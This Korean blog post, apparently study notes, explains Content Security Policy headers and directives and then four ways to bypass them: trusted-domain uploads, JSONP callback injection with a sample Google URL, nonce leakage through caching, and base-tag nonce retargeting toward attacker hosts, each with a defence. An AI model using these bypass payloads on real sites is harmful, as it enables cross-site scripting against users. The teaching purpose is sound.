CSP란
CSP(Content Security Policy)는 컨텐츠 보안 정책으로 XSS나 데이터를 삽입하는 류의 공격이 발생했을 때,
피해를 줄이고 웹 관리자가 공격 시도를 보고 받을 수 있도록 새롭게 추가된 계층이라고 한다.
CSP에서 XSS 공격 등을 방지하기 위해 웹 페이지에 사용될 수 있는 자원의 위치나 출처 등에 제약을 건다.
CSP 헤더는 1개 이상의 정책 지시문이 세미콜론으로 분리된 형태로 이루어져 있으며,
정책 지시문은 지시문(default-src, script-src 등)과 1개 이상의 출처(self, https: 등)가
공백으로 분리된 형태로 지정해야 한다.
{{default-src 'self' https://example.com }}
위는 페이지 내부 자원들이 같은 오리진 혹은 example.com에서만 로드되어야 하는 CSP 구문이다.
Content-Security-Policy: <policy-directive>; <policy-directive>
CSP 구문은 위와 같이 HTTP 헤더에 추가하여 적용할 수 있으며, policy-directive 부분에
CSP를 정의하는 정책 디렉티브를 작성하게 된다.
위의 CSP 구문과 함께 적용하게 된다면,
Content-Security-Policy: default-src 'self' https://example.com
HTTP 헤더에 CSP 구문을 적용하여 특정 사이트에서만 로드되도록 할 수 있다.
CSP 헤더는 HTTP 헤더 외에 meta 태그를 통해서도 정의할 수 있다.
<meta http-equiv="Content-Security-Policy" content="default-src 'self' https://example.com">
CSP 기본 정책
1. Inline Code
CSP는 인라인 코드를 유해하다고 간주한다.
여기서 나오는 인라인 코드는 src 속성으로 코드를 로드하지 않고,
태그 내에 직접 코드를 삽입하는 것을 의미한다.
// 인라인 코드
<script>alert(1);</script>
// src 속성에 코드 경로 정의
<script src="alert.js"></script>
CSP는 script 태그 내 코드를 삽입하는 것을 포함하여 on* 이벤트 핸들러 속성이나,
javascript: URL 스킴 또한 인라인 코드로 간주하고 허용하지 않는다.
또한, CSS 스타일 시트도 인라인 코드를 허용하지 않아 외부 스타일시트로 통합하는 것이 권장된다.
2. Eval
CSP는 기본적으로 문자열 텍스트를 실행 가능한 자바스크립트 코드 형태로 변환하는
메커니즘 또한 유해하다고 간주하는데, 대표적으로 eval 함수를 예로 들 수 있다.
eval과 같이 문자열로부터 코드를 실행하는 경우에는 의도와 다르게
XSS 공격을 통해 삽입된 공격 코드로 변조되어 실행될 가능성이 있기 때문에 권장하지 않는다.
// CSP 정책으로 차단
setTimeout("alert(1)", ...)
// CSP 정책으로 허용
setTimeout(function(){alert(1)}, ...)
eval, new Function(), setTimeout(), setInterval()과 같이 문자열 형태로 입력 받는 함수 실행은 모두 차단된다.
하지만, 해당 함수에 문자열 입력이 아닌 인라인 함수 형태로 파라미터가 전달 될 때는 차단되지 않는다.
Policy Directive
<Policy-directive>는 <directive> <value> 형태로 구성된다.
directive는 지시문이라고 부르며, 컨텐츠 내에서 로드하는 리소스를
세분화해 어떤 리소스에 대한 출처를 제어할지 결정한다.
value에는 여러 개의 출처가 정의될 수 있으며, 공백을 통해 구분된다.
자주 사용되는 지시문의 종류는 다음과 같다.
- default-src
: -src로 끝나는 모든 지시문의 기본 동작을 제어한다.
만약 CSP 구문 내에서 지정하지 않은 지시문이 존재한다면, default-src 정의를 따른다.
- img-src
: 이미지를 로드할 수 있는 출처를 제어한다.
- srcipt-src
: 스크립트 태그 관련 권한과 출처를 제어한다.
- style-src
: 스타일 시트 관련 권한과 출처를 제어한다.
- child-src
: 페이지 내에 삽입된 프레임 컨텐츠에 대한 출처를 제어한다.
- base-uri
: 페이지의 *<base> 태그에 나타날 수 있는 URL을 제어한다.
*base 태그란?
HTML <base> 요소는 문서 안의 모든 상대 URL이 사용할 기준 URL을 지정합니다.
문서에는 하나의 <base> 요소만 존재할 수 있습니다.
value 부분에는 일반적으로 URL을 전달받으나 와일드 카드 사용,
특수한 목적의 출처도 존재하며 올 수 있는 출처의 종류는 다음과 같다.
- *://example.com
: 출처의 scheme은 와일드 카드를 이용해 표현할 수 있다.
- https://*.example.com
: 출처의 호스트 서브 도메인은 와일드 카드를 이용해 표현할 수 있다.
단, 와일드 카드는 호스트 중간에 들어갈 수 없다. (예로, https://www.*.com, https://*.example.*)
또한, 서브 도메인을 와일드 카드로 표현할 시에는
서브 도메인이 붙어있지 않는 도메인은 포함되지 않는다.
예를 들어, https://*.example.com 으로 출처를 표기할 경우에
https://example.com은 포함되지 않는다.
- none
: 모든 출처를 허용하지 않는다.
- self
: 페이지의 현재 출처 (Same Origin) 내에서 로드하는 리소스만 허용한다.
- unsafe-inline
: 예외적으로 인라인 코드의 사용을 허용한다.
- unsafe-eval
: 예외적으로 eval과 같은 텍스트-자바스크립트 변환 메커니즘의 사용을 허용한다.
- nonce-<base64-value>
: nonce 속성을 설정해 예외적으로 인라인 코드를 사용한다.
<base64-value>는 반드시 요청마다 다른 난수 값으로 설정해야 하며,
해당 출처를 설정하면 unsafe-inline은 무시된다.
- <hash-algorithm>-<base64-value>
: script 혹은 style 태그 내 코드의 해스를 표현한다.
해당 출처를 설정하면 unsafe-inline은 무시된다.
CSP 우회
1. 신뢰하는 도메인에 업로드
CSP를 이용하면 브라우저가 특정 출처에서만 자원을 불러오게 제한할 수 있다.
그러나 해당 출처가 파일 업로드 및 다운로드 기능을 제공한다면,
공격자는 출처에 스크립트와 같은 자원을 업로드한 뒤,
다운로드 경로로 웹 페이지에 자원을 포함시킬 수 있다.
2. JSONP API
JSONP란, 클라이언트가 아닌 각기 다른 도메인에 상주하는 서버로부터 데이터를 요청하기 위해 사용된다.
조금 더 쉽게 알아보자면, JSONP란 CORS가 활성화 되기 이전의 데이터 요청 방법으로써
다른 도메인으로부터 데이터를 가져오기 위해 사용하는 방법이다.
이러한 JSON API를 CSP에서 허용한 출처가 지원하게 된다면,
callback 파라미터에 원하는 스크립트를 삽입하여 공격이 가능하게 된다.
https://accounts.google.com/o/oauth2/revoke?callback=alert(1);
위처럼, *.google.com 에서 온 출처만 허용할 때 구글에서 JSONP API를
지원하는 서버를 찾아서 callback에 원하는 스크립트를 삽입할 수 있다.
JSONP API를 제공하는 서비스는 콜백 이름에 식별자를 제외한 문자를 거부하여 방어할 수 있으며,
가능한 JSONP 보다는 CORS를 지원하는 API를 사용하는 것이 더 안전하다.
3. nonce 예측 가능
CSP의 nonce를 이용하여 따로 도메인이나 해시 등을 지정하지 않아도 공격자가 예측할 수 없는
nonce 값이 태그 속성에 존재할 것을 요구하여 XSS 공격을 방어할 수 있다.
이 방어를 효과적으로 사용하기 위해서는 nonce의 값이 공격자가 취득하거나 예측할 수 없는 값이어야 한다.
nonce를 사용할 때에는 값을 담고 있는 HTTP 헤더 또는 <meta> 태그가 캐싱되지 않는지 주의해야 한다.
PHP나 CGI 계열 스크립팅을 사용할 때에는 /index.php/style.css 처럼 뒤에 추가적인 경로를 붙여
접근할 수 있기 때문에 더 주의해야 한다.
만약 캐시 서버가 확장자를 기반으로 캐시 여부를 판단한다면,
.css 같은 경우 정적 파일이므로 동적 콘텐츠로 간주하지 않아 캐시에 저장할 수 있다.
이 경우에는 캐시가 만료될 때까지 요청시마다 같은 nonce가 돌아오기 때문에
공격자는 이를 바탕으로 nonce를 획득할 수 있다.
4. base-uri 미지정
HTML <base> 태그는 경로가 해석되는 기준점을 변경할 수 있도록 하며,
<a>, <form> 등의 target 속성의 기본 값을 지정하도록 한다.
만약 공격자가 <base href="https://attack.test/xss-proxy/"> 와 같은 마크업을 삽입하게 된다면,
추후 상대 경로를 사용하는 URL 들은 본래 의도한 위치가 아닌 공격자 서버 자원을 가리키게 되어
공격자는 이를 통해 임의의 스크립트 등을 삽입할 수 있게 된다.
Content-Security-Policy: base-uri 'none'
이를 방어하기 위해 CSP 정책을 설정할 수 있다.
<base href="https://attack.com">
<script src="/jquery.js" nonce=NONCE>
<!-- jquery.js는 base 태그에 의해 https://attack.com/jquery.js를 가리킵니다. -->
만약, 페이지에 임의 마크업을 삽입할 수 있는 취약점이 있는데 nonce CSP 구문으로 인해
스크립트를 삽입할 수 없다고 가정한다면 base-uri CSP 구문을 지정하지 않은 경우에
base 태그를 이용하여 임의 자원을 로드할 수 있다.
해당 공격을 "Nonce Retargeting" 이라고 부른다.
base-uri 지시문을 임의로 지정하지 않는 이상 default 초기 값이 존재하지 않으므로,
웹 서비스를 개발할 때에는 반드시 base-uri 지시문을 정의해주어야 한다.
참고
1) https://dreamhack.io/lecture/roadmaps/15
'보안 > Web' 카테고리의 다른 글
[Web] XSS 그리고 공격 구문 (0) | 2024.04.24 |
---|---|
[Web] Click jacking / Open Redirect (0) | 2024.04.22 |